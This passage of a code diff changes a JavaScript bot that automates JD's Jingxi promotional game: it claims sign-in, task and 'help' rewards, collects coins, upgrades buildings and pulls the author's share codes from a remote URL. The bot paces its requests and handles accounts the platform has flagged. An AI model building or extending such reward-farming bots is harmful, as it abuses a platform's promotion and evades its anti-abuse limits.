resolve(); - } - }) - break - case 'helpdraw': - $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - console.log(`\n领助力奖励`) - let helpNum = [] - for (let key of Object.keys(data.Data.Employee.EmployeeList)) { - let vo = data.Data.Employee.EmployeeList[key] - if (vo.dwStatus !== 1) { - helpNum.push(vo.dwId) + }) + break + case 'helpdraw': + $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n领助力奖励`) + let helpNum = [] + for (let key of Object.keys(data.Data.Employee.EmployeeList)) { + let vo = data.Data.Employee.EmployeeList[key] + if (vo.dwStatus !== 1) { + helpNum.push(vo.dwId) + } } - } - if (helpNum.length !== 0) { - for (let j = 0; j < helpNum.length; j++) { - await helpdraw(helpNum[j]) - await $.wait(2000) + if (helpNum.length !== 0) { + for (let j = 0; j < helpNum.length; j++) { + await helpdraw(helpNum[j]) + await $.wait(3000) + } + } else { + console.log(`暂无可领助力奖励`) } - } else { - console.log(`暂无可领助力奖励`) } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - break - default: - break - } - }) -} -function rewardSign(body, dwEnv = 7) { - return new Promise((resolve) => { - $.get(taskUrl(`story/RewardSign`, body, dwEnv), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} RewardSign API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0 || data.sErrMsg === "success") { - if (data.Data.ddwCoin) { - console.log(`签到成功:获得${data.Data.ddwCoin}金币\n`) - } else if (data.Data.ddwMoney) { - console.log(`签到成功:获得${data.Data.ddwMoney}财富\n`) - } else if (data.Data.strPrizeName) { - console.log(`签到成功:获得${data.Data.strPrizeName}\n`) + }) + break + default: + break + } + }) + } + function rewardSign(body, dwEnv = 7) { + return new Promise((resolve) => { + $.get(taskUrl(`story/RewardSign`, body, dwEnv), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RewardSign API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === "success") { + if (data.Data.ddwCoin) { + console.log(`签到成功:获得${data.Data.ddwCoin}金币\n`) + } else if (data.Data.ddwMoney) { + console.log(`签到成功:获得${data.Data.ddwMoney}财富\n`) + } else if (data.Data.strPrizeName) { + console.log(`签到成功:获得${data.Data.strPrizeName}\n`) + } else { + console.log(`签到成功:很遗憾未中奖~\n`) + } } else { - console.log(`签到成功:很遗憾未中奖~\n`) + console.log(`签到失败:${data.sErrMsg}\n`) } - } else { - console.log(`签到失败:${data.sErrMsg}\n`) } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } + }) }) - }) -} -function helpdraw(dwUserId) { - return new Promise((resolve) => { - $.get(taskUrl(`story/helpdraw`, `dwUserId=${dwUserId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} helpdraw API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0 || data.sErrMsg === "success") { - if (data.Data.StagePrizeInfo) { - console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币 ${data.Data.StagePrizeInfo.ddwMoney}财富 ${(data.Data.StagePrizeInfo.strPrizeName && !data.Data.StagePrizeInfo.ddwMoney) ? data.Data.StagePrizeInfo.strPrizeName : `0元`}红包`) + } + function helpdraw(dwUserId) { + return new Promise((resolve) => { + $.get(taskUrl(`story/helpdraw`, `dwUserId=${dwUserId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpdraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === "success") { + if (data.Data.StagePrizeInfo) { + console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币 ${data.Data.StagePrizeInfo.ddwMoney}财富 ${(data.Data.StagePrizeInfo.strPrizeName && !data.Data.StagePrizeInfo.ddwMoney) ? data.Data.StagePrizeInfo.strPrizeName : `0元`}红包`) + } else { + console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币`) + } } else { - console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币`) + console.log(`领取助力奖励失败:${data.sErrMsg}`) } - } else { - console.log(`领取助力奖励失败:${data.sErrMsg}`) } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } + }) }) - }) -} - -// 倒垃圾 -async function queryRubbishInfo() { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/QueryRubbishInfo`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} QueryRubbishInfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - console.log(`倒垃圾`) - if (data.Data.StoryInfo.StoryList.length !== 0) { - for (let key of Object.keys(data.Data.StoryInfo.StoryList)) { - let vo = data.Data.StoryInfo.StoryList[key] - if (vo.Rubbish) { - await $.wait(2000) - let rubbishOperRes = await rubbishOper('1') - if (Object.keys(rubbishOperRes.Data.ThrowRubbish.Game).length) { - console.log(`获取垃圾信息成功:本次需要垃圾分类`) - for (let key of Object.keys(rubbishOperRes.Data.ThrowRubbish.Game.RubbishList)) { - let vo = rubbishOperRes.Data.ThrowRubbish.Game.RubbishList[key] - await $.wait(2000) - var rubbishOperTwoRes = await rubbishOper('2', `dwRubbishId=${vo.dwId}`) - } - if (rubbishOperTwoRes.iRet === 0) { - let AllRubbish = rubbishOperTwoRes.Data.RubbishGame.AllRubbish - console.log(`倒垃圾成功:获得${AllRubbish.ddwCoin}金币 ${AllRubbish.ddwMoney}财富\n`) + } + + // 倒垃圾 + async function queryRubbishInfo() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/QueryRubbishInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryRubbishInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`倒垃圾`) + if (data.Data.StoryInfo.StoryList.length !== 0) { + for (let key of Object.keys(data.Data.StoryInfo.StoryList)) { + let vo = data.Data.StoryInfo.StoryList[key] + if (vo.Rubbish) { + await $.wait(3000) + let rubbishOperRes = await rubbishOper('1') + if (Object.keys(rubbishOperRes.Data.ThrowRubbish.Game).length) { + console.log(`获取垃圾信息成功:本次需要垃圾分类`) + for (let key of Object.keys(rubbishOperRes.Data.ThrowRubbish.Game.RubbishList)) { + let vo = rubbishOperRes.Data.ThrowRubbish.Game.RubbishList[key] + await $.wait(3000) + var rubbishOperTwoRes = await rubbishOper('2', `dwRubbishId=${vo.dwId}`) + } + if (rubbishOperTwoRes.iRet === 0) { + let AllRubbish = rubbishOperTwoRes.Data.RubbishGame.AllRubbish + console.log(`倒垃圾成功:获得${AllRubbish.ddwCoin}金币 ${AllRubbish.ddwMoney}财富\n`) + } else { + console.log(`倒垃圾失败:${rubbishOperTwoRes.sErrMsg}\n`) + } } else { - console.log(`倒垃圾失败:${rubbishOperTwoRes.sErrMsg}\n`) + console.log(`获取垃圾信息成功:本次不需要垃圾分类`) + if (rubbishOperRes.iRet === 0 || rubbishOperRes.sErrMsg === "success") { + console.log(`倒垃圾成功:获得${rubbishOperRes.Data.ThrowRubbish.ddwCoin}金币\n`) + } else { + console.log(`倒垃圾失败:${rubbishOperRes.sErrMsg}\n`) + } } } else { - console.log(`获取垃圾信息成功:本次不需要垃圾分类`) - if (rubbishOperRes.iRet === 0 || rubbishOperRes.sErrMsg === "success") { - console.log(`倒垃圾成功:获得${rubbishOperRes.Data.ThrowRubbish.ddwCoin}金币\n`) - } else { - console.log(`倒垃圾失败:${rubbishOperRes.sErrMsg}\n`) - } + console.log(`当前暂无垃圾\n`) } - } else { - console.log(`当前暂无垃圾\n`) } + } else { + console.log(`当前暂无垃圾\n`) } - } else { - console.log(`当前暂无垃圾\n`) } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } + }) }) - }) -} -function rubbishOper(dwType, body = '') { - return new Promise((resolve) => { - switch(dwType) { - case '1': - $.get(taskUrl(`story/RubbishOper`, `dwType=1&dwRewardType=0`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + function rubbishOper(dwType, body = '') { + return new Promise((resolve) => { + switch(dwType) { + case '1': + $.get(taskUrl(`story/RubbishOper`, `dwType=1&dwRewardType=0`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - break - case '2': - $.get(taskUrl(`story/RubbishOper`, `dwType=2&dwRewardType=0&${body}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + }) + break + case '2': + $.get(taskUrl(`story/RubbishOper`, `dwType=2&dwRewardType=0&${body}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - break - default: - break - } - }) -} - -// 牛牛任务 -async function getActTask(type = true) { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/GetActTask`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetActTask API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (type) { - for (let key of Object.keys(data.Data.TaskList)) { - let vo = data.Data.TaskList[key] - if ([0, 1, 2].includes(vo.dwOrderId) && (vo.dwCompleteNum !== vo.dwTargetNum) && vo.dwTargetNum < 10) { - if (vo.strTaskName === "升级1个建筑") continue - console.log(`开始【🐮牛牛任务】${vo.strTaskName}`) - for (let i = vo.dwCompleteNum; i < vo.dwTargetNum; i++) { - console.log(`【🐮牛牛任务】${vo.strTaskName} 进度:${i + 1}/${vo.dwTargetNum}`) - await doTask(vo.ddwTaskId, 2) - await $.wait(2000) + }) + break + default: + break + } + }) + } + + // 牛牛任务 + async function getActTask(type = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/GetActTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetActTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (type) { + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ([0, 1, 2].includes(vo.dwOrderId) && (vo.dwCompleteNum !== vo.dwTargetNum) && vo.dwTargetNum < 10) { + if (vo.strTaskName === "升级1个建筑") continue + console.log(`开始【🐮牛牛任务】${vo.strTaskName}`) + for (let i = vo.dwCompleteNum; i < vo.dwTargetNum; i++) { + console.log(`【🐮牛牛任务】${vo.strTaskName} 进度:${i + 1}/${vo.dwTargetNum}`) + await doTask(vo.ddwTaskId, 2) + await $.wait(3000) + } } } - } - data = await getActTask(false) - for (let key of Object.keys(data.Data.TaskList)) { - let vo = data.Data.TaskList[key] - if ((vo.dwCompleteNum >= vo.dwTargetNum) && vo.dwAwardStatus !== 1) { - await awardActTask('Award', vo) - await $.wait(2000) + data = await getActTask(false) + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ((vo.dwCompleteNum >= vo.dwTargetNum) && vo.dwAwardStatus !== 1) { + await awardActTask('Award', vo) + await $.wait(3000) + } } - } - data = await getActTask(false) - if (data.Data.dwCompleteTaskNum >= data.Data.dwTotalTaskNum) { - if (data.Data.dwStatus !== 4) { - console.log(`【🐮牛牛任务】已做完,去开启宝箱`) - await awardActTask('story/ActTaskAward') - await $.wait(2000) + data = await getActTask(false) + if (data.Data.dwCompleteTaskNum >= data.Data.dwTotalTaskNum) { + if (data.Data.dwStatus !== 4) { + console.log(`【🐮牛牛任务】已做完,去开启宝箱`) + await awardActTask('story/ActTaskAward') + await $.wait(3000) + } else { + console.log(`【🐮牛牛任务】已做完,宝箱已开启`) + } } else { - console.log(`【🐮牛牛任务】已做完,宝箱已开启`) + console.log(`【🐮牛牛任务】未全部完成,无法开启宝箱\n`) } - } else { - console.log(`【🐮牛牛任务】未全部完成,无法开启宝箱\n`) } } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } + }) }) - }) -} -function awardActTask(function_path, taskInfo = '') { - const { ddwTaskId, strTaskName} = taskInfo - return new Promise((resolve) => { - switch (function_path) { - case 'Award': - $.get(taskListUrl(function_path, `taskId=${ddwTaskId}`, 'jxbfddch'), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) - } else { - const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); - let str = ''; - if (msg.indexOf('活动太火爆了') !== -1) { - str = '任务为成就任务或者未到任务时间'; + } + function awardActTask(function_path, taskInfo = '') { + const { ddwTaskId, strTaskName} = taskInfo + return new Promise((resolve) => { + switch (function_path) { + case 'Award': + $.get(taskListUrl(function_path, `taskId=${ddwTaskId}`, 'jxbfddch'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) } else { - if (JSON.parse(prizeInfo).dwPrizeType == 4) { - str = msg + prizeInfo ? `获得红包 ¥ ${JSON.parse(prizeInfo).strPrizeName}` : ''; + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let str = ''; + if (msg.indexOf('活动太火爆了') !== -1) { + str = '任务为成就任务或者未到任务时间'; } else { - str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + if (JSON.parse(prizeInfo).dwPrizeType == 4) { + str = msg + prizeInfo ? `获得红包 ¥ ${JSON.parse(prizeInfo).strPrizeName}` : ''; + } else { + str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + } } + console.log(`【🐮领牛牛任务奖励】${strTaskName} ${str}\n${$.showLog ? data : ''}`); } - console.log(`【🐮领牛牛任务奖励】${strTaskName} ${str}\n${$.showLog ? data : ''}`); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - break - case 'story/ActTaskAward': - $.get(taskUrl(function_path), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0 || data.sErrMsg === 'success') { - console.log(`【🐮牛牛任务】开启宝箱成功:获得财富 ¥ ${data.Data.ddwBigReward}\n`) + }) + break + case 'story/ActTaskAward': + $.get(taskUrl(function_path), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) } else { - console.log(`【🐮牛牛任务】开启宝箱失败:${data.sErrMsg}\n`) + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`【🐮牛牛任务】开启宝箱成功:获得财富 ¥ ${data.Data.ddwBigReward}\n`) + } else { + console.log(`【🐮牛牛任务】开启宝箱失败:${data.sErrMsg}\n`) + } } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - break - default: - break - } - }) -} - -// 升级建筑 -async function getBuildInfo(body, buildList, type = true) { - let twobody = body - return new Promise(async (resolve) => { - $.get(taskUrl(`user/GetBuildInfo`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetBuildInfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (type) { - let buildNmae; - switch(buildList.strBuildIndex) { - case 'food': - buildNmae = '京喜美食城' - break - case 'sea': - buildNmae = '京喜旅馆' - break - case 'shop': - buildNmae = '京喜商店' - break - case 'fun': - buildNmae = '京喜游乐场' - default: - break - } - if (data.dwBuildLvl === 0) { - console.log(`创建建筑`) - console.log(`【${buildNmae}】当前建筑还未创建,开始创建`) - await createbuilding(`strBuildIndex=${data.strBuildIndex}`, buildNmae) - await $.wait(2000) - data = await getBuildInfo(twobody, buildList, false) - await $.wait(2000) - } - console.log(`收金币`) - const body = `strBuildIndex=${data.strBuildIndex}&dwType=1` - let collectCoinRes = await collectCoin(body) - console.log(`【${buildNmae}】收集${collectCoinRes.ddwCoin}金币`) - await $.wait(3000) - await getUserInfo(false) - console.log(`升级建筑`) - console.log(`【${buildNmae}】当前等级:${buildList.dwLvl}`) - console.log(`【${buildNmae}】升级需要${data.ddwNextLvlCostCoin}金币,保留升级需要的3倍${data.ddwNextLvlCostCoin * 3}金币,当前拥有${$.info.ddwCoinBalance}金币`) - if(data.dwCanLvlUp > 0 && $.info.ddwCoinBalance >= (data.ddwNextLvlCostCoin * 3)) { - console.log(`【${buildNmae}】满足升级条件,开始升级`) - const body = `strBuildIndex=${data.strBuildIndex}&ddwCostCoin=${data.ddwNextLvlCostCoin}` - await $.wait(2000) - let buildLvlUpRes = await buildLvlUp(body) - if (buildLvlUpRes.iRet === 0) { - console.log(`【${buildNmae}】升级成功:获得${data.ddwLvlRich}财富\n`) + }) + break + default: + break + } + }) + } + + // 升级建筑 + async function getBuildInfo(body, buildList, type = true) { + let twobody = body + return new Promise(async (resolve) => { + $.get(taskUrl(`user/GetBuildInfo`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetBuildInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (type) { + let buildNmae; + switch(buildList.strBuildIndex) { + case 'food': + buildNmae = '京喜美食城' + break + case 'sea': + buildNmae = '京喜旅馆' + break + case 'shop': + buildNmae = '京喜商店' + break + case 'fun': + buildNmae = '京喜游乐场' + default: + break + } + if (data.dwBuildLvl === 0) { + console.log(`创建建筑`) + console.log(`【${buildNmae}】当前建筑还未创建,开始创建`) + await createbuilding(`strBuildIndex=${data.strBuildIndex}`, buildNmae) + await $.wait(3000) + data = await getBuildInfo(twobody, buildList, false) + await $.wait(3000) + } + console.log(`收金币`) + const body = `strBuildIndex=${data.strBuildIndex}&dwType=1` + let collectCoinRes = await collectCoin(body) + console.log(`【${buildNmae}】收集${collectCoinRes.ddwCoin}金币`) + await $.wait(3000) + await getUserInfo(false) + console.log(`升级建筑`) + console.log(`【${buildNmae}】当前等级:${buildList.dwLvl}`) + console.log(`【${buildNmae}】升级需要${data.ddwNextLvlCostCoin}金币,保留升级需要的3倍${data.ddwNextLvlCostCoin * 3}金币,当前拥有${$.info.ddwCoinBalance}金币`) + if(data.dwCanLvlUp > 0 && $.info.ddwCoinBalance >= (data.ddwNextLvlCostCoin * 3)) { + console.log(`【${buildNmae}】满足升级条件,开始升级`) + const body = `strBuildIndex=${data.strBuildIndex}&ddwCostCoin=${data.ddwNextLvlCostCoin}` + await $.wait(3000) + let buildLvlUpRes = await buildLvlUp(body) + if (buildLvlUpRes.iRet === 0) { + console.log(`【${buildNmae}】升级成功:获得${data.ddwLvlRich}财富\n`) + } else { + console.log(`【${buildNmae}】升级失败:${buildLvlUpRes.sErrMsg}\n`) + } } else { - console.log(`【${buildNmae}】升级失败:${buildLvlUpRes.sErrMsg}\n`) + console.log(`【${buildNmae}】不满足升级条件,跳过升级\n`) } - } else { - console.log(`【${buildNmae}】不满足升级条件,跳过升级\n`) } } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + function opId(type){ + let jsonMap = { + "user/QueryUserInfo": 1, + "user/GetMgrAllConf": 3, + "story/QueryUserStory": 5, + "user/GetJdToken": 11, + "story/CouponState": 13, + "story/WelfareDraw": 15, + "story/GetWelfarePage": 17, + "story/SendWelfareMoney": 19, + "user/SetMark": 23, + "user/GetMark": 25, + "user/guideuser": 27, + "user/createbuilding": 29, + "user/BuildLvlUp": 31, + "user/CollectCoin": 33, + "user/GetBuildInfo": 35, + "user/SpeedUp": 37, + "story/AddNoticeMsg": 39, + "user/breakgoldenegg": 41, + "user/closewindow": 43, + "user/drawpackprize": 45, + "user/GetMoneyDetail": 47, + "user/EmployTourGuide": 49, + "story/sellgoods": 51, + "story/querystorageroom": 53, + "user/queryuseraccount": 55, + "user/EmployTourGuideInfo": 57, + "consume/TreasureHunt": 59, + "story/QueryAppSignList": 61, + "story/AppRewardSign": 63, + "story/queryshell": 65, + "story/QueryRubbishInfo": 67, + "story/pickshell": 69, + "story/CollectorOper": 71, + "story/MermaidOper": 73, + "story/RubbishOper": 75, + "story/SpecialUserOper": 77, + "story/GetUserTaskStatusList": 79, + "user/ExchangeState": 87, + "user/ExchangePrize": 89, + "user/GetRebateGoods": 91, + "user/BuyGoods": 93, + "user/UserCashOutState": 95, + "user/CashOut": 97, + "user/GetCashRecord": 99, + "user/CashOutQuali": 101, + "user/GetAwardList": 103, + "story/QueryMailBox": 105, + "story/MailBoxOper": 107, + "story/UserMedal": 109, + "story/QueryMedalList": 111, + "story/GetTakeAggrPage": 113, + "story/GetTaskRedDot": 115, + "story/RewardSign": 117, + "story/helpdraw": 119, + "story/helpbystage": 121, + "task/addCartSkuNotEnough": 123, + "story/GetActTask": 125, + "story/ActTaskAward": 127, + "story/DelayBizReq": 131, + "story/AddSuggest": 133, + } + let opId = jsonMap[type] + if (opId!=undefined) return opId + return 5001 + } + + function collectCoin(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/CollectCoin`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CollectCoin API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + function buildLvlUp(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/BuildLvlUp`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} BuildLvlUp API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } + }) }) - }) -} -function collectCoin(body) { - return new Promise((resolve) => { - $.get(taskUrl(`user/CollectCoin`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} CollectCoin API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + function createbuilding(body, buildNmae) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/createbuilding`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} createbuilding API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) console.log(`【${buildNmae}】创建成功`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } + }) }) - }) -} -function buildLvlUp(body) { - return new Promise((resolve) => { - $.get(taskUrl(`user/BuildLvlUp`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} BuildLvlUp API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + + // 助力 + function helpByStage(shareCodes) { + return new Promise((resolve) => { + $.get(taskUrl(`story/helpbystage`, `strShareId=${shareCodes}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpbystage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`助力成功:获得${data.Data.GuestPrizeInfo.strPrizeName}`) + } else if (data.iRet === 2235 || data.sErrMsg === '今日助力次数达到上限,明天再来帮忙吧~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2232 || data.sErrMsg === '分享链接已过期') { + console.log(`助力失败:${data.sErrMsg}`) + $.delcode = true + } else if (data.iRet === 9999 || data.sErrMsg === '您还没有登录,请先登录哦~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2229 || data.sErrMsg === '助力失败啦~') { + console.log(`助力失败:您的账号已黑`) + $.canHelp = false + } else if (data.iRet === 2190 || data.sErrMsg === '达到助力上限') { + console.log(`助力失败:${data.sErrMsg}`) + $.delcode = true + } else { + console.log(`助力失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } + }) }) - }) -} -function createbuilding(body, buildNmae) { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/createbuilding`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} createbuilding API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) console.log(`【${buildNmae}】创建成功`) + } + + function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); }) - }) -} - -// 助力 -function helpByStage(shareCodes) { - return new Promise((resolve) => { - $.get(taskUrl(`story/helpbystage`, `strShareId=${shareCodes}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} helpbystage API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0 || data.sErrMsg === 'success') { - console.log(`助力成功:获得${data.Data.GuestPrizeInfo.strPrizeName}`) - } else if (data.iRet === 2235 || data.sErrMsg === 